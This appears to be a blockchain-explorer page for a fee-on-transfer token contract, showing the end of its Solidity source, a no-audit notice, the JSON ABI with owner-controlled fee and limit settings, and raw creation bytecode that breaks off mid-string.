try UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount - MarketingID,0,path,address(this),block.timestamp + 60 * 1000) { emit SwapAndLiquifyStatus("Success"); return true; } catch { emit SwapAndLiquifyStatus("Failed"); return false; } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { UniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); emit LiquidityAdded(tokenAmount, ethAmount); } function totalDevelopmentFee() public view returns (uint256) { return _tDevelopmentTotal; } function totalMarketingFee() public view returns (uint256) { return _tMarketingTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"withdrawer","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BalanceWithdrawn","type":"event"},{"anonymous":false,"inputs":[],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"MarketingDepositCompleteUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldValue","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"MaxTxAmountChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"status","type":"string"}],"name":"SwapAndLiquifyStatus","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"WalletsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"string","name":"message","type":"string"}],"name":"tokensBurned","type":"event"},{"inputs":[],"name":"MarketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingDepositComplete","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"adminAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFeeAndRfi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromRFI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInRFI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isContractTransferFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isPresaleWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isWalletTransferFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"numOfHODLers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numTokensSellToAddToLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setMarketingDepositComplete","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"threshold","type":"uint256"}],"name":"setThreshholdForLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"toggleContractTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toggleWalletTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDevelopmentFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600860006101000a81548160ff0219169083151502179055506001600860016101000a81548160ff0219169083151502179055506006600a6200004a9190620007e6565b633b9aca006200005b919062000923565b6009556009546006600a620000719190620007e6565b70eb194f8e1ae525fd5dcfab0800000000006200008f919062000923565b6200009b919062000a0a565b6006600a620000ab9190620007e6565b70eb194f8e1ae525fd5dcfab080000000000620000c9919062000923565b620000d5919062000984565b600a5573fda75cfedbaa38279ad128a5d3663c90a7ad08de600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062015ebe60105560006011556000601255600560135573fda75cfedbaa38279ad128a5d3663c90a7ad08de601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601760156101000a81548160ff0219169083151502179055506006600a620001c39190620007e6565b6601c6bf52634000620001d7919062000923565b6018556006600a620001ea9190620007e6565b66016bcc41e90000620001fe919062000923565b6019553480156200020e57600080fd5b506000620002216200069860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a5460016000620002d66200069860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037457600080fd5b505afa15801562000389573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003af9190620006f3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200041257600080fd5b505afa15801562000427573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044d9190620006f3565b6040518363ffffffff1660e01b81526004016200046c92919062000741565b602060405180830381600087803b1580156200048757600080fd5b505af11580156200049c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c29190620006f3565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000553620006ab60201b60201c565b6010819055506001600460006200056f620006b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006286200069860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200068991906200076e565b60405180910390a35062000ac7565b6000803390506000819050809250505090565b600042905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620006ed8162000aad565b92915050565b6000602082840312156200070657600080fd5b60006200071684828501620006dc565b91505092915050565b6200072a81620009bf565b82525050565b6200073b81620009f3565b82525050565b60006040820190506200075860008301856200071f565b6200076760208301846200071f565b9392505050565b600060208201905062000785600083018462000730565b92915050565b6000808291508390505b6001851115620007dd57808604811115620007b557620007b462000a42565b5b6001851615620007c55780820291505b8081029050620007d58562000aa0565b945062000795565b94509492505050565b6000620007f382620009f3565b91506200080083620009fd565b92506200082f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000837565b905092915050565b6000826200084957600190506200091c565b816200085957600090506200091c565b81600181146200087257600281146200087d57620008b3565b60019150506200091c565b60ff84111562000892576200089162000a42565b5b8360020a915084821115620008ac57620008ab62000a42565b5b506200091c565b5060208310610133831016604e8410600b8410161715620008ed5782820a905083811115620008e757620008e662000a42565b5b6200091c565b620008fc84848460016200078b565b9250905081840481111562000916576200091562000a42565b5b81810290505b9392505050565b60006200093082620009f3565b91506200093d83620009f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000979576200097862000a42565b5b828202905092915050565b60006200099182620009f3565b91506200099e83620009f3565b925082821015620009b457620009b362000a42565b5b828203905092915050565b6000620009cc82620009d3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062000a1782620009f3565b915062000a2483620009f3565b92508262000a375762000a3662000a71565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b62000ab881620009bf565b811462000ac457600080fd5b50565b6154b58062000ad76000396000f3fe6080604052600436106102765760003560e01c80635342acb41161014f578063bfa24742116100c1578063dd62ed3e1161007a578063dd62ed3e1461098b578063ea2f0b37146109c8578063ec28438a146109f1578063f2fde38b14610a1a578063f61b829314610a43578063fbc232cd14610a6c5761027d565b8063bfa247421461088d578063cf80ee3d146108b6578063d12a7688146108e1578063d20c50d51461090c578063d543dbeb14610937578063db5d6536146109605761027d565b806388f820201161011357806388f82020146107695780638da5cb5b146107a657806395d89b41146107d15780639f16544d146107fc578063a457c2d714610813578063a9059cbb146108505761027d565b80635342acb41461068457806354bc089f146106c157806370a08231146106ea578063715018a6146107275780637d1db4a51461073e5761027d565b8063313ce567116101e857806340fb7ad9116101ac57806340fb7ad914610550578063437823ec1461058d5780634549b039146105b65780634a595551146105f35780634d11ef9b1461061e5780634ed38faf146106475761027d565b8063313ce5671461047b5780633467a760146104a657806338dac461146104d15780633936e8b9146104e857806339509351146105135761027d565b806320fecdd11161023a57806320fecdd11461036b57806323b872dd146103965780632598cdb2146103d357806329ffe94d146103fe5780632d6c2631146104155780632d8381191461043e5761027d565b8063055add0d1461028257806306fdde03146102ad578063095ea7b3146102d857806313114a9d1461031557806318160ddd146103405761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610a97565b6040516102a49190614c10565b60405180910390f35b3480156102b957600080fd5b506102c2610abd565b6040516102cf9190614c2b565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190614348565b610afa565b60405161030c9190614bf5565b60405180910390f35b34801561032157600080fd5b5061032a610b18565b6040516103379190614e8d565b60405180910390f35b34801561034c57600080fd5b50610355610b22565b6040516103629190614e8d565b60405180910390f35b34801561037757600080fd5b50610380610b2c565b60405161038d9190614e8d565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906142f9565b610b32565b6040516103ca9190614bf5565b60405180910390f35b3480156103df57600080fd5b506103e8610c60565b6040516103f59190614b5e565b60405180910390f35b34801561040a57600080fd5b50610413610c86565b005b34801561042157600080fd5b5061043c6004803603810190610437919061426b565b610e11565b005b34801561044a57600080fd5b50610465600480360381019061046091906143ad565b6111df565b6040516104729190614e8d565b60405180910390f35b34801561048757600080fd5b5061049061124d565b60405161049d9190614f62565b60405180910390f35b3480156104b257600080fd5b506104bb611256565b6040516104c89190614bf5565b60405180910390f35b3480156104dd57600080fd5b506104e6611269565b005b3480156104f457600080fd5b506104fd611311565b60405161050a9190614b79565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190614348565b611337565b6040516105479190614bf5565b60405180910390f35b34801561055c57600080fd5b506105776004803603810190610572919061426b565b6113ea565b6040516105849190614bf5565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af919061426b565b61140a565b005b3480156105c257600080fd5b506105dd60048036038101906105d891906143d6565b6114e1565b6040516105ea9190614e8d565b60405180910390f35b3480156105ff57600080fd5b50610608611567565b6040516106159190614bf5565b60405180910390f35b34801561062a57600080fd5b506106456004803603810190610640919061426b565b61157a565b005b34801561065357600080fd5b5061066e6004803603810190610669919061426b565b61160b565b60405161067b9190614bf5565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a6919061426b565b61162b565b6040516106b89190614bf5565b60405180910390f35b3480156106cd57600080fd5b506106e860048036038101906106e3919061426b565b611681565b005b3480156106f657600080fd5b50610711600480360381019061070c919061426b565b61191c565b60405161071e9190614e8d565b60405180910390f35b34801561073357600080fd5b5061073c611a07565b005b34801561074a57600080fd5b50610753611af2565b6040516107609190614e8d565b60405180910390f35b34801561077557600080fd5b50610790600480360381019061078b919061426b565b611af8565b60405161079d9190614bf5565b60405180910390f35b3480156107b257600080fd5b506107bb611b4e565b6040516107c89190614b5e565b60405180910390f35b3480156107dd57600080fd5b506107e6611b77565b6040516107f39190614c2b565b60405180910390f35b34801561080857600080fd5b50610811611bb4565b005b34801561081f57600080fd5b5061083a60048036038101906108359190614348565b611c5c565b6040516108479190614bf5565b60405180910390f35b34801561085c57600080fd5b5061087760048036038101906108729190614348565b611d29565b6040516108849190614bf5565b60405180910390f35b34801561089957600080fd5b506108b460048036038101906108af91906143ad565b611d57565b005b3480156108c257600080fd5b506108cb611df5565b6040516108d89190614e8d565b60405180910390f35b3480156108ed57600080fd5b506108f6611dff565b6040516109039190614e8d565b60405180910390f35b34801561091857600080fd5b50610921611e05565b60405161092e9190614b5e565b60405180910390f35b34801561094357600080fd5b5061095e600480360381019061095991906143ad565b611e2b565b005b34801561096c57600080fd5b50610975611f1b565b6040516109829190614e8d565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad91906142bd565b611f25565b6040516109bf9190614e8d565b60405180910390f35b3480156109d457600080fd5b506109ef60048036038101906109ea919061426b565b611fac565b005b3480156109fd57600080fd5b50610a186004803603810190610a1391906143ad565b612083565b005b348015610a2657600080fd5b50610a416004803603810190610a3c919061426b565b612109565b005b348015610a4f57600080fd5b50610a6a6004803603810190610a659190614384565b6122b2565b005b348015610a7857600080fd5b50610a81612382565b604051610a8e9190614bf5565b60405180910390f35b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600881526020017f554b4554414d4f20000000000000000000000000000000000000000000000000815250905090565b6000610b0e610b07612395565b84846123a8565b6001905092915050565b6000600b54905090565b6000600954905090565b600c5481565b6000610b538473ffffffffffffffffffffffffffffffffffffffff16612573565b15610b7857610b73848484600860019054906101000a900460ff16612586565b610b94565b610b93848484600860009054906101000a900460ff16612586565b5b610c5584610ba0612395565b610c508560405180606001604052806028815260200161543360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c06612395565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290b9092919063ffffffff16565b6123a8565b600190509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc7612395565b73ffffffffffffffffffffffffffffffffffffffff1614610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1490614d0d565b60405180910390fd5b60006127109050600060105490506000610d35612969565b9050610d418383612994565b610d49612969565b8114610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190614e6d565b60405180910390fd5b816010541415601760156101000a81548160ff021916908315150217905550610dc582610db63061191c565b610dc09190614fd2565b612b71565b50601760159054906101000a900460ff16610de757610de2612f0b565b610df1565b610def610b18565b505b6001601760156101000a81548160ff021916908315150217905550505050565b610e19612395565b73ffffffffffffffffffffffffffffffffffffffff16610e37611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614610e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8490614e2d565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090614d6d565b60405180910390fd5b60005b6007805490508110156111db578173ffffffffffffffffffffffffffffffffffffffff1660078281548110610f7a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156111c85760076001600780549050610fd59190615224565b8154811061100c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660078281548110611071577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600780548061118e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556111db565b80806111d390615328565b915050610f1c565b5050565b6000600a54821115611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90614c4d565b60405180910390fd5b6000611230612969565b90506112458184612f7690919063ffffffff16565b915050919050565b60006006905090565b600860019054906101000a900460ff1681565b611271612395565b73ffffffffffffffffffffffffffffffffffffffff1661128f611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc90614e2d565b60405180910390fd5b600860019054906101000a900460ff1615600860016101000a81548160ff021916908315150217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113e0611344612395565b846113db8560036000611355612395565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b6123a8565b6001905092915050565b60156020528060005260406000206000915054906101000a900460ff1681565b611412612395565b73ffffffffffffffffffffffffffffffffffffffff16611430611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147d90614e2d565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600954831115611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90614dad565b60405180910390fd5b8161154957600061153a84600161302c565b90508060000151915050611561565b600061155684600161302c565b905080602001519150505b92915050565b601760159054906101000a900460ff1681565b611582612395565b73ffffffffffffffffffffffffffffffffffffffff166115a0611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed90614e2d565b60405180910390fd5b6115ff8161140a565b61160881611681565b50565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611689612395565b73ffffffffffffffffffffffffffffffffffffffff166116a7611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490614e2d565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561178a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178190614d2d565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561185e5761181a600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111df565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119b757600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a02565b6119ff600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111df565b90505b919050565b611a0f612395565b73ffffffffffffffffffffffffffffffffffffffff16611a2d611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a90614e2d565b60405180910390fd5b7fd1f66c3d2bc1993a86be5e3d33709d98f0442381befcedd29f578b9b2506b1ce60405160405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60185481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f554b4554414d4f00000000000000000000000000000000000000000000000000815250905090565b611bbc612395565b73ffffffffffffffffffffffffffffffffffffffff16611bda611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2790614e2d565b60405180910390fd5b600860009054906101000a900460ff1615600860006101000a81548160ff021916908315150217905550565b6000611d1f611c69612395565b84611d1a8560405180606001604052806025815260200161545b6025913960036000611c93612395565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290b9092919063ffffffff16565b6123a8565b6001905092915050565b6000611d4d611d36612395565b8484600860009054906101000a900460ff16612586565b6001905092915050565b611d5f612395565b73ffffffffffffffffffffffffffffffffffffffff16611d7d611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dca90614e2d565b60405180910390fd5b6006600a611de191906150ac565b81611dec91906151ca565b60198190555050565b6000600e54905090565b60195481565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e33612395565b73ffffffffffffffffffffffffffffffffffffffff16611e51611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9e90614e2d565b60405180910390fd5b60006018549050611ed66064611ec88460095461307490919063ffffffff16565b612f7690919063ffffffff16565b6018819055507fd6f586005531e7d32112f5389278497d656f7ed9029f31f85494a3f58ca1833381601854604051611f0f929190614f02565b60405180910390a15050565b6000600d54905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611fb4612395565b73ffffffffffffffffffffffffffffffffffffffff16611fd2611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f90614e